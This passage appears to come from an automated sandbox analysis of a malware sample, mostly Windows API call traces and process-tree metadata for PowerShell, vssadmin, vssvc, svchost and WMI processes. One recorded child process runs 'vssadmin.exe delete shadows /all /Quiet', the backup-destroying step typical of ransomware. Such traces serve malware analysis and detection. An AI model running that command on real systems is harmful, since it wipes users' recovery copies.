lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.587] GetLastError () returned 0x0 [0175.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e044, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.588] GetLastError () returned 0x0 [0175.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.588] GetLastError () returned 0x0 [0175.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.588] GetLastError () returned 0x0 [0175.588] GetExitCodeProcess (in: hProcess=0x4b0, lpExitCode=0x5e8e628 | out: lpExitCode=0x5e8e628*=0x103) returned 1 [0175.589] GetLastError () returned 0x0 [0175.589] GetCurrentProcess () returned 0xffffffff [0175.589] GetLastError () returned 0x0 [0175.589] GetCurrentProcess () returned 0xffffffff [0175.589] GetLastError () returned 0x0 [0175.589] GetExitCodeProcess (in: hProcess=0x4b0, lpExitCode=0x5e8e5f8 | out: lpExitCode=0x5e8e5f8*=0x103) returned 1 [0175.590] GetLastError () returned 0x0 [0175.590] GetCurrentProcess () returned 0xffffffff [0175.590] GetLastError () returned 0x0 [0175.590] GetCurrentProcess () returned 0xffffffff [0175.590] GetLastError () returned 0x0 [0175.590] TerminateProcess (hProcess=0x4b0, uExitCode=0xffffffff) returned 1 [0175.592] GetLastError () returned 0x0 [0175.598] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0175.602] GetLastError () returned 0x0 [0175.602] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0175.602] GetLastError () returned 0x0 [0175.605] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0175.606] GetLastError () returned 0x0 [0175.606] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0175.606] GetLastError () returned 0x0 [0175.609] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0175.610] GetLastError () returned 0x0 [0175.610] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0175.610] GetLastError () returned 0x0 [0175.613] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0175.613] GetLastError () returned 0x0 [0175.613] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0175.614] GetLastError () returned 0x0 [0175.617] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0175.617] GetLastError () returned 0x0 [0175.617] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0175.617] GetLastError () returned 0x0 [0175.617] SetConsoleTextAttribute (hConsoleOutput=0x4b, wAttributes=0x7) returned 1 [0175.618] GetLastError () returned 0x0 [0175.621] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0175.621] GetLastError () returned 0x0 [0175.621] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0175.622] GetLastError () returned 0x0 [0175.622] SetConsoleTextAttribute (hConsoleOutput=0x4b, wAttributes=0x7) returned 1 [0175.622] GetLastError () returned 0x0 [0175.626] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0175.626] GetLastError () returned 0x0 [0175.626] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0175.626] GetLastError () returned 0x0 [0175.626] SetConsoleTextAttribute (hConsoleOutput=0x4b, wAttributes=0x7) returned 1 [0175.626] GetLastError () returned 0x0 [0175.630] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0175.630] GetLastError () returned 0x0 [0175.631] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0175.631] GetLastError () returned 0x0 [0175.631] SetConsoleTextAttribute (hConsoleOutput=0x4b, wAttributes=0x7) returned 1 [0175.631] GetLastError () returned 0x0 [0175.632] EnumProcesses (in: lpidProcess=0x2de6d54, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2de6d54, lpcbNeeded=0x5e8e5a8) returned 1 [0175.632] GetLastError () returned 0x0 [0175.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.633] GetLastError () returned 0x0 [0175.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.633] GetLastError () returned 0x0 [0175.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.634] GetLastError () returned 0x0 [0175.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e044, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.634] GetLastError () returned 0x0 [0175.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.634] GetLastError () returned 0x0 [0175.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0175.634] GetLastError () returned 0x0 [0175.634] GetExitCodeProcess (in: hProcess=0x4b0, lpExitCode=0x5e8e628 | out: lpExitCode=0x5e8e628*=0x103) returned 1 [0175.634] GetLastError () returned 0x0 [0175.634] GetCurrentProcess () returned 0xffffffff [0175.634] GetLastError () returned 0x0 [0175.634] GetCurrentProcess () returned 0xffffffff [0175.634] GetLastError () returned 0x0 [0175.634] GetExitCodeProcess (in: hProcess=0x4b0, lpExitCode=0x5e8e5f8 | out: lpExitCode=0x5e8e5f8*=0x103) returned 1 [0175.634] GetLastError () returned 0x0 [0175.634] GetCurrentProcess () returned 0xffffffff [0175.634] GetLastError () returned 0x0 [0175.634] GetCurrentProcess () returned 0xffffffff [0175.634] GetLastError () returned 0x0 [0175.634] TerminateProcess (hProcess=0x4b0, uExitCode=0xffffffff) returned 1 [0175.635] GetLastError () returned 0x0 [0175.639] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 46 os_tid = 0x9bc Thread: id = 47 os_tid = 0x9cc Thread: id = 48 os_tid = 0x9dc Thread: id = 118 os_tid = 0x324 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x34ba2000" os_pid = "0x8bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x64" cmd_line = "\"C:\\Windows\\system32\\vssadmin.exe\" delete shadows /all /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x8cc Thread: id = 20 os_tid = 0x8dc Thread: id = 21 os_tid = 0x8ec Thread: id = 22 os_tid = 0x8fc Thread: id = 23 os_tid = 0x90c Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x33330000" os_pid = "0x91c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005af6c" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 24 os_tid = 0x98c Thread: id = 25 os_tid = 0x97c Thread: id = 26 os_tid = 0x96c Thread: id = 27 os_tid = 0x95c [0061.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd3d6a0 | out: lpSystemTimeAsFileTime=0xd3d6a0*(dwLowDateTime=0x7ddbb950, dwHighDateTime=0x1d6bde3)) [0061.310] GetCurrentProcessId () returned 0x91c [0061.310] GetCurrentThreadId () returned 0x95c [0061.310] GetTickCount () returned 0x114a0a3 [0061.310] QueryPerformanceCounter (in: lpPerformanceCount=0xd3d6a8 | out: lpPerformanceCount=0xd3d6a8*=18197853191) returned 1 [0061.310] malloc (_Size=0x100) returned 0x2c8e80 [0246.238] free (_Block=0x2c8e80) Thread: id = 28 os_tid = 0x94c Thread: id = 29 os_tid = 0x93c Thread: id = 30 os_tid = 0x92c Thread: id = 45 os_tid = 0x9ac Thread: id = 176 os_tid = 0x694 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 31 os_tid = 0x34c Thread: id = 32 os_tid = 0x600 Thread: id = 33 os_tid = 0x768 Thread: id = 34 os_tid = 0x764 Thread: id = 35 os_tid = 0x758 Thread: id = 36 os_tid = 0x724 Thread: id = 37 os_tid = 0x718 Thread: id = 38 os_tid = 0x714 Thread: id = 39 os_tid = 0x630 Thread: id = 40 os_tid = 0x154 Thread: id = 41 os_tid = 0x150 Thread: id = 42 os_tid = 0x120 Thread: id = 43 os_tid = 0x118 Thread: id = 44 os_tid = 0xf0 Thread: id = 125 os_tid = 0xab4 Thread: id = 139 os_tid = 0x9ec Thread: id = 174 os_tid = 0x920 Thread: id = 175 os_tid = 0x910 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 49 os_tid = 0x86c Thread: id = 50 os_tid = 0x85c Thread: id = 51 os_tid = 0x82c Thread: id = 52 os_tid = 0x81c Thread: id = 53 os_tid = 0x414 Thread: id = 54 os_tid = 0x15c Thread: id = 55 os_tid = 0x568 Thread: id = 56 os_tid = 0x54c Thread: id = 57 os_tid = 0x738 Thread: id = 58 os_tid = 0x114 Thread: id = 59 os_tid = 0x564 Thread: id = 60 os_tid = 0x340 Thread: id = 61 os_tid = 0x320 Thread: id = 62 os_tid = 0x6cc Thread: id = 63 os_tid = 0x42c Thread: id = 64 os_tid = 0x1e4 Thread: id = 65 os_tid = 0x760 Thread: id = 66 os_tid = 0x75c Thread: id = 67 os_tid = 0x74c Thread: id = 68 os_tid = 0x710 Thread: id = 69 os_tid = 0x6d0 Thread: id = 70 os_tid = 0x6bc Thread: id = 71 os_tid = 0x6b8 Thread: id = 72 os_tid = 0x6b0 Thread: id = 73 os_tid = 0x6a8 Thread: id = 74 os_tid = 0x69c Thread: id = 75 os_tid = 0x698 Thread: id = 76 os_tid = 0x688 Thread: id = 77 os_tid = 0x684 Thread: id = 78 os_tid = 0x678 Thread: id = 79 os_tid = 0x4a8 Thread: id = 80 os_tid = 0x46c Thread: id = 81 os_tid = 0x44c Thread: id = 82 os_tid = 0x424 Thread: id = 83 os_tid = 0x420 Thread: id = 84 os_tid = 0x41c Thread: id = 85 os_tid = 0x404 Thread: id = 86 os_tid = 0x14c Thread: id = 87 os_tid = 0x158 Thread: id = 88 os_tid = 0x3fc Thread: id = 89 os_tid = 0x3f4 Thread: id = 90 os_tid = 0x3e8 Thread: id = 91 os_tid = 0x39c Thread: id = 92 os_tid = 0x390 Thread: id = 93 os_tid = 0x38c Thread: id = 94 os_tid = 0x388 Thread: id = 95 os_tid = 0x37c Thread: id = 96 os_tid = 0x374 Thread: id = 119 os_tid = 0xb40 Thread: id = 120 os_tid = 0xb3c Thread: id = 121 os_tid = 0xa4c Thread: id = 122 os_tid = 0xb10 Thread: id = 127 os_tid = 0x780 Thread: id = 128 os_tid = 0x10c Thread: id = 129 os_tid = 0x290 Thread: id = 130 os_tid = 0x518 Thread: id = 131 os_tid = 0x99c Thread: id = 132 os_tid = 0x8fc Thread: id = 133 os_tid = 0x90c Thread: id = 134 os_tid = 0x8dc Thread: id = 135 os_tid = 0x8cc Thread: id = 140 os_tid = 0x114 Thread: id = 147 os_tid = 0x7d4 Thread: id = 148 os_tid = 0x564 Process: id = "8" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x60b6a000" os_pid = "0xa54" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004363f" [0xc000000f] Thread: id = 97 os_tid = 0x83c Thread: id = 98 os_tid = 0xa7c Thread: id = 99 os_tid = 0xa74 Thread: id = 100 os_tid = 0xa70 Thread: id = 101 os_tid = 0xa6c Thread: id = 102 os_tid = 0xa68 Thread: id = 103 os_tid = 0xa64 Thread: id = 104 os_tid = 0xa5c Thread: id = 105 os_tid = 0xa58 Thread: id = 114 os_tid = 0x9e0 Thread: id = 115 os_tid = 0x9e4 Thread: id = 116 os_tid = 0xa80 Thread: id = 117 os_tid = 0x5e0 Thread: id = 126 os_tid = 0x358 Thread: id = 137 os_tid = 0x730 Thread: id = 173 os_tid = 0x950 Process: id = "9" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61765000" os_pid = "0xa08" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 106 os_tid = 0x84c Thread: id = 107 os_tid = 0xa28 Thread: id = 108 os_tid = 0xa24 Thread: id = 109 os_tid = 0xa20 Thread: id = 110 os_tid = 0xa1c Thread: id = 111 os_tid = 0xa18 Thread: id = 112 os_tid = 0xa10 Thread: id = 113 os_tid = 0xa0c Thread: id = 136 os_tid = 0x98c Thread: id = 169 os_tid = 0x9a0 Thread: id = 170 os_tid = 0x244 Process: id = "10" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x492f0000" os_pid = "0x340" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 141 os_tid = 0x9c0 Thread: id = 142 os_tid = 0x9b0 Thread: id = 143 os_tid = 0x20c Thread: id = 144 os_tid = 0x484 Thread: id = 145 os_tid = 0x364 Thread: id = 146 os_tid = 0x304 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x24f0e000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b7a5" [0xc000000f], "LOCAL" [0x7] Thread: id = 149 os_tid = 0x9d0 Thread: id = 150 os_tid = 0x7b0 Thread: id = 151 os_tid = 0xa90 Thread: id = 152 os_tid = 0x90 Thread: id = 153 os_tid = 0x344 Thread: id = 154 os_tid = 0x408 Thread: id = 155 os_tid = 0x138 Thread: id = 156 os_tid = 0x5f8 Thread: id = 157 os_tid = 0x5f0 Thread: id = 158 os_tid = 0x5ec Thread: id = 159 os_tid = 0x5d0 Thread: id = 160 os_tid = 0x12c Thread: id = 161 os_tid = 0x170 Thread: id = 162 os_tid = 0x3c0 Thread: id = 163 os_tid = 0x3b8 Thread: id = 164 os_tid = 0x3a8 Thread: id = 165 os_tid = 0x2fc Thread: id = 166 os_tid = 0x2f8 Thread: id = 167 os_tid = 0x2d4 Thread: id = 168 os_tid = 0x2cc